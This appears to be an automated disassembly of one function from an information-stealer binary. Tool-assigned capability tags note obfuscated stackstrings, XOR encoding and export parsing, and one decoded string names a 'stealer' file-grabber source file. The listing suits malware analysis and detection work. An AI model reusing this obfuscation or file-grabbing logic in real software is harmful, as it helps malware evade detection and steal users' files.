Function at 0x413280
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x44], 0x3535360e
push edi
mov dword [esp + 0x4c], 0x392ee728
mov ecx, ebx
mov dword [esp + 0x50], 0x2de72928
mov dword [esp + 0x54], 0x3a2c3330
mov byte [esp + 0x58], 0xd1
mov al, byte [esp + ecx + 0x48]
add al, 0x39
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x11
jl 0x4132b3
lea eax, [esp + 0x120]
mov byte [esp + 0x131], bl
push eax
call fcn.00412606
pop ecx
push 4
pop ecx
call fcn.00418e22
mov edi, eax
mov ecx, ebx
mov dword [esp + 0x10c], edi
test edi, edi
je 0x4137c3
mov dword [esp + 0x10], 0xadb4b18e
mov dword [esp + 0x14], 0xbaaf68bb
mov dword [esp + 0x18], 0xadaaaaa9
mov dword [esp + 0x1c], 0xa9b868ba
mov dword [esp + 0x20], 0x68bbb0bc
mov dword [esp + 0x24], 0xadbaadbf
mov dword [esp + 0x28], 0xbcadba68
mov dword [esp + 0x2c], 0xbeadb1ba
mov word [esp + 0x30], 0xacad
mov byte [esp + 0x32], 0x52
mov al, byte [esp + ecx + 0x10]
sub al, 0x48
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 0x23
jl 0x413342
lea eax, [esp + 0x64]
mov byte [esp + 0x87], bl
push eax
call fcn.00412606
mov dword [esp], 0x420f24
push edi
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4137b7
push 0x1000
call fcn.0040570b
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4137b7
push 0x7c
pop eax
mov word [esp + 0x40], ax
xor eax, eax
and dword [esp + 0x44], eax
mov word [esp + 0x42], ax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x44]
push eax
push edi
call fcn.004057dc
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x4137b0
push 0x31
mov word [esp + 0x60], 0xc780
mov byte [esp + 0x62], 0xce
pop edi
xor edx, edx
movzx eax, byte [esp + edx + 0x5c]
mov esi, 0xff
sub ax, 0x5b
and ax, si
mov word [esp + edx*2 + 0x110], ax
inc edx
cmp edx, 3
jl 0x4133d0
xor eax, eax
mov word [esp + 0x116], ax
lea eax, [esp + 0x110]
push ecx
push eax
call fcn.0041b96a
mov ebp, eax
pop ecx
pop ecx
test ebp, ebp
je 0x41378b
push 0x2f
pop eax
mov dword [esp + 0xbc], 0x3d3f301d
xor ecx, ecx
mov dword [esp + 0xc0], 0x30413034
mov dword [esp + 0xc4], 0x37403deb
mov dword [esp + 0xc8], 0x3411eb30
mov dword [esp + 0xcc], 0x123e3037
mov dword [esp + 0xd0], 0x2d2d2c3d
mov dword [esp + 0xd4], 0xebf73d30
mov dword [esp + 0xd8], 0x413d303e
mov dword [esp + 0xdc], 0x3eeb3d30
mov byte [esp + 0xe0], 0x34
mov byte [esp + 0xe1], al
mov dword [esp + 0xe2], 0x2c3beb30
mov dword [esp + 0xe6], 0xeb05333f
mov dword [esp + 0xea], 0xd53e37f0
mov al, byte [esp + ecx + 0xbc]
add al, 0x35
mov byte [esp + ecx + 0x134], al
inc ecx
cmp ecx, 0x32
jl 0x4134ab
lea eax, [esp + 0x134]
mov byte [esp + 0x166], 0
push ebp
push eax
call fcn.00412606
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call fcn.004057dc
add esp, 0x14
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push ebx
push eax
call fcn.00412cbc
call eax
test eax, eax
je 0x413615
mov dword [esp + 0xf0], 0xc3d2daa7
xor ecx, ecx
mov dword [esp + 0xf4], 0xd282c6d0
mov dword [esp + 0xf8], 0x9ccad6c3
mov dword [esp + 0xfc], 0xd5ce8782
mov byte [esp + 0x100], 0x6c
mov al, byte [esp + ecx + 0xf0]
sub al, 0x62
mov byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x11
jl 0x41353f
mov byte [esp + 0x21], 0
xor ecx, ecx
mov word [esp + 0x60], 0xa3ea
mov byte [esp + 0x62], 0xbc
mov al, byte [esp + ecx + 0x60]
xor al, 0xcf
movzx eax, al
mov word [esp + ecx*2 + 0x118], ax
inc ecx
cmp ecx, 3
jl 0x413565
xor eax, eax
push ebx
mov word [esp + 0x122], ax
call fcn.0040581e
pop ecx
movzx ecx, word [ebx + eax*2 - 2]
cmp ecx, 0x5c
je 0x41359f
push 0x2f
pop edx
cmp cx, dx
jne 0x4135a6
xor ecx, ecx
mov word [ebx + eax*2 - 2], cx
lea eax, [esp + 0x10]
push ebx
push eax
call fcn.00412606
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call fcn.004057dc
add esp, 0x14
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.0041b96a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x413784
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x44]
push eax
push 0
call fcn.004057dc
add esp, 0xc
mov edx, ebp
mov ecx, ebx
cmp word [eax], di
sete al
movzx eax, al
push eax
push esi
call fcn.004138ed
push esi
call fcn.004056f0
add esp, 0xc
jmp 0x413784
xor edx, edx
mov dword [esp + 0x10], 0xd2fd8f8f
mov dword [esp + 0x14], 0xcdc0c4d5
mov ecx, edx
mov dword [esp + 0x18], 0xc7fdd3c4
mov dword [esp + 0x1c], 0xd2c4cdc8
mov dword [esp + 0x20], 0xc3c0d3c6
mov dword [esp + 0x24], 0x8fd3c4c3
mov word [esp + 0x28], 0xd1c2
mov byte [esp + 0x2a], 0xd1
mov al, byte [esp + ecx + 0x10]
xor al, 0xa1
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 0x1b
jl 0x413655
mov byte [esp + 0x10b], dl
mov ecx, edx
mov dword [esp + 0x34], 0x131223f8
mov dword [esp + 0x38], 0x161d1af7
mov byte [esp + 0x3c], 0x24
mov al, byte [esp + ecx + 0x34]
add al, 0x4f
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 9
jl 0x413686
push 0x31
pop eax
mov byte [esp + 0x9d], al
mov eax, edx
mov byte [esp + 0x51], dl
mov dword [esp + 0x8c], 0x3f4e5623
mov dword [esp + 0x90], 0x4c23424c
mov dword [esp + 0x94], 0x4d504754
mov dword [esp + 0x98], 0x4c434b4c
mov byte [esp + 0x9c], 0x52
mov dword [esp + 0x9e], 0x4c475052
mov dword [esp + 0xa2], 0xfe355145
mov dword [esp + 0xa6], 0x4a473f44
mov dword [esp + 0xaa], 0x4afe1951
mov dword [esp + 0xae], 0xfe52513f
mov dword [esp + 0xb2], 0x4d505043
mov dword [esp + 0xb6], 0x3fe1850
mov word [esp + 0xba], 0xe856
movups xmm0, xmmword [esp + eax + 0x8c]
paddb xmm0, xmmword [str.________________1111111111111111________________________________CCCCCCCCCCCCCCCCJJJJJJJJJJJJJJJJKKKKKKKKKKKKKKKKddddddddddddddddtttttttttttttttt]
movups xmmword [esp + eax + 0xbc], xmm0
add eax, 0x10
cmp eax, 0x30
jl 0x413731
mov byte [esp + 0xec], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xc0]
push eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0xfc]
push 0xfc
push eax
call fcn.00412723
add esp, 0x14
push 0x31
pop edi
push ebp
call fcn.004056f0
pop ecx
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x44]
push eax
push 0
call fcn.004057dc
mov ecx, eax
add esp, 0xc
test ecx, ecx
jne 0x4133ce
mov edi, dword [esp + 0x10c]
push ebx
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
jmp 0x4138e2
mov dword [esp + 0x10], 0x7f0c2c2
mov dword [esp + 0x14], 0xf5f908
mov dword [esp + 0x18], 0xfaf006f9
mov dword [esp + 0x1c], 0x7f900fd
mov dword [esp + 0x20], 0xf6f506fb
mov dword [esp + 0x24], 0xc206f9f6
mov word [esp + 0x28], 0x4f7
mov byte [esp + 0x2a], 4
mov al, byte [esp + ecx + 0x10]
add al, 0x6c
mov byte [esp + ecx + 0xf0], al
inc ecx
cmp ecx, 0x1b
jl 0x4137ff
mov byte [esp + 0x10b], bl
mov ecx, ebx
mov dword [esp + 0x34], 0x20233005
mov dword [esp + 0x38], 0x272e2b04
mov byte [esp + 0x3c], 0x31
mov al, byte [esp + ecx + 0x34]
xor al, 0x42
mov byte [esp + ecx + 0x48], al
inc ecx
cmp ecx, 9
jl 0x413830
mov byte [esp + 0x51], bl
mov ecx, ebx
mov dword [esp + 0x64], 0xb0ada58a
mov dword [esp + 0x68], 0xb864a8a9
mov dword [esp + 0x6c], 0xa9b664b3
mov dword [esp + 0x70], 0xa9adb6b8
mov dword [esp + 0x74], 0xaa64a9ba
mov dword [esp + 0x78], 0xb7a9b0ad
mov dword [esp + 0x7c], 0xa5b6ab64
mov dword [esp + 0x80], 0xb6a9a6a6
mov dword [esp + 0x84], 0xb8a5b464
mov word [esp + 0x88], 0xb7ac
mov byte [esp + 0x8a], 0x4e
mov al, byte [esp + ecx + 0x64]
sub al, 0x44
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 0x27
jl 0x4138a6
lea eax, [esp + 0x8c]
mov byte [esp + 0xb3], bl
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0xf8]
push 0x108
push eax
call fcn.00412723
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret